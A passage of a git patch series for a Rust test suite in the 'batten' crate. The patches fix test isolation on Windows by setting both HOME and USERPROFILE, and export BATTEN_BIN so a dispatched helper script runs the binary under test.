b/crates/batten/tests/wiring_reclaim.rs index 96ff7d218..00f41cf28 100644 --- a/crates/batten/tests/wiring_reclaim.rs +++ b/crates/batten/tests/wiring_reclaim.rs @@ -14,7 +14,23 @@ //! with the two launcher-provisioned registrations CLOUD-605 owns still in it. A //! suite driving the real one would repair the box it is measuring, exactly //! once, and every later run would assert over a state the first run destroyed. -//! `etcetera` resolves from `$HOME`, so overriding it is the whole isolation. +//! `etcetera` resolves the home directory, so overriding it is the whole +//! isolation. +//! +//! **AND `$HOME` IS ONLY HALF OF THAT OVERRIDE**, which is the same shape +//! `common::state_home`'s header already records one axis over: a redirect +//! spelled for POSIX and silently inert on Windows. `etcetera::home_dir()` +//! wraps `std::env::home_dir()`, which reads `USERPROFILE` there and has never +//! heard of `HOME` — so on the Windows runner this fixture was not in play at +//! all and the verb read the RUNNER's home. +//! +//! It did not fail the suite, it split it: the two cases asserting an ABSENCE — +//! a refusal without `-y`, a record not written — passed over a home carrying +//! no surface, while the two asserting the counts failed with `0 sibling +//! registration(s) across 0 surface(s) read`. Half a suite green over a fixture +//! that was never in play is the vacuous pass this header is about, one layer +//! up. `common::at_home` sets both spellings, so the isolation is one call +//! rather than a variable per platform remembered per spawn. //! //! **Rust rather than a `.bats` suite** (CLOUD-843): `shell-retirement` refuses //! a new one, correctly — the campaign's corpus has to shrink rather than stay @@ -27,7 +43,7 @@ mod common; use std::path::{Path, PathBuf}; -use common::{git_in, scratch, stderr, stdout, write}; +use common::{StateHome as _, git_in, scratch, stderr, stdout, write}; /// One merged surface carrying one batten registration and two siblings. /// @@ -84,7 +100,7 @@ impl Bench { common::batten() .current_dir(&self.repo) .args(args) - .env("HOME", &self.home) + .at_home(&self.home) .output() .expect("the binary runs") } @@ -263,7 +279,7 @@ fn a_session_start_expires_the_record_which_is_the_restart_this_reports() { let mut child = common::batten() .current_dir(&bench.repo) .args(["hook", "--harness", "claude-code"]) - .env("HOME", &bench.home) + .at_home(&bench.home) .stdin(std::process::Stdio::piped()) .stdout(std::process::Stdio::piped()) .stderr(std::process::Stdio::piped()) @@ -320,7 +336,7 @@ fn a_checkout_sitting_at_the_home_directory_is_never_its_own_merged_surface() { let outcome = common::batten() .current_dir(&bench.home) .args(["wiring", "reclaim", "-y"]) - .env("HOME", &bench.home) + .at_home(&bench.home) .output() .expect("the binary runs"); assert!(outcome.status.success(), "{}", stderr(&outcome)); From f92bc79c4618b8aa65f602e896a43d5a5ce62b3f Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Sat, 29 Aug 2026 03:16:16 +0000 Subject: [PATCH 26/27] fix(tests): the isolation guard reads the real home in both spellings too MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `the_fixture_home_is_never_the_real_one` proves the fixture home is not the container's by comparing against `$HOME`, and `$HOME` is empty on Windows — so the one case whose whole job is proving the isolation was the last one still asking a POSIX-only question. It failed on `!real.is_empty()` in the same run where every case it guards had already gone green. `at_home` sets both spellings; this reads both. Refs: CLOUD-113 --- crates/batten/tests/wiring_reclaim.rs | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/crates/batten/tests/wiring_reclaim.rs b/crates/batten/tests/wiring_reclaim.rs index 00f41cf28..2fb143a96 100644 --- a/crates/batten/tests/wiring_reclaim.rs +++ b/crates/batten/tests/wiring_reclaim.rs @@ -358,10 +358,18 @@ fn a_checkout_sitting_at_the_home_directory_is_never_its_own_merged_surface() { } /// Kept honest: the fixture home is never this container's. +/// +/// **THE REAL HOME IS READ IN BOTH SPELLINGS**, for the reason the header gives: +/// `HOME` alone is empty on Windows, so this guard — the one case whose whole job +/// is proving the isolation — was the last one still asking a POSIX-only +/// question, and it failed there on `!real.is_empty()` while every case it +/// guards had already been repaired. `at_home` sets both, so this reads both. #[test] fn the_fixture_home_is_never_the_real_one() { let bench = bench("reclaim-isolation"); - let real = std::env::var("HOME").unwrap_or_default(); + let real = std::env::var("HOME") + .or_else(|_| std::env::var("USERPROFILE")) + .unwrap_or_default(); assert!(!real.is_empty()); assert_ne!(bench.home.display().to_string(), real); assert!(Path::new(&real).exists()); From ebc26096849067e6786839546a8c93d20a02a7bf Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Sat, 29 Aug 2026 04:06:55 +0000 Subject: [PATCH 27/27] fix(tests): the fixture's dispatched helper reads the binary under test MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `common::batten()` now exports `BATTEN_BIN` pointing at `CARGO_BIN_EXE_batten`, set after the scrub so it survives it. A `[[hook.handler]]` the binary dispatches shells out to `mise-tasks/payload-field.sh`, whose documented order is `$BATTEN_BIN`, then `/target/{release,debug}/batten`, then `command -v batten` — and `` is resolved beside the SCRIPT, so in a fixture repository it is the fixture, which has no `target/`. With none of the three resolving, the extractor exits 1; every caller guards that read `|| exit 0`, so `run-shape-guard.sh` allows silently and the door reports nothing at all. So the case asserting the guard's defect was green here and red on CI, and the difference was one file: this container carries `/root/.local/bin/batten` and a runner does not. Reproduced both ways over the compiled suites with `PATH` stripped to `/usr/bin:/bin` — FAILED before the change with the empty stderr CI reported, 8/8 and 7/7 after it. Unconditional rather than per suite, for the reason the scrub beside it already gives: the suites that opted in would be the suites that remembered. It also corrects the local run, which was driving an installed binary rather than the one under test. Refs: CLOUD-418 --- crates/batten/tests/common/mod.rs | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/crates/batten/tests/common/mod.rs b/crates/batten/tests/common/mod.rs index 60bdbfd79..123be97e6 100644 --- a/crates/batten/tests/common/mod.rs +++ b/crates/batten/tests/common/mod.rs @@ -82,6 +82,25 @@ fn declared_env_vars() -> Vec<&'static str> { /// /// Unconditional by design: a helper that scrubbed only where a suite /// remembered to ask is a helper that is wrong exactly where it matters. +/// +/// # `BATTEN_BIN` names the binary UNDER TEST, and it is set here for the same +/// reason +/// +/// A `[[hook.handler]]` the binary dispatches can shell out to +/// `mise-tasks/payload-field.sh`, whose documented resolution order is +/// `$BATTEN_BIN`, then `/target/{release,debug}/batten`, then whatever +/// `command -v batten` finds — where `` is resolved beside the SCRIPT, so +/// in a fixture repository it is the fixture, which has no `target/`. Without +/// this the extractor resolves off the developer's `PATH` or, finding nothing, +/// exits 1 — and every caller guards that read `|| exit 0`, so the guard allows +/// silently and the door reports nothing at all. +/// +/// Measured 2026-08-29: `the_committed_guard_writes_a_host_document_so_its_ +/// verdict_is_dropped` passed on a container carrying `batten` on `PATH` and +/// failed on a CI runner that does not, with an empty stderr — a case asserting +/// a defect, green because the mechanism never ran. Set after the scrub so it +/// survives it, and set unconditionally for the reason above: a suite that opted +/// in would be the suites that remembered. #[must_use] #[expect( clippy::disallowed_types, @@ -92,6 +111,7 @@ pub(crate) fn batten() -> Command { for name in declared_env_vars() { command.env_remove(name); } + command.env("BATTEN_BIN", env!("CARGO_BIN_EXE_batten")); command }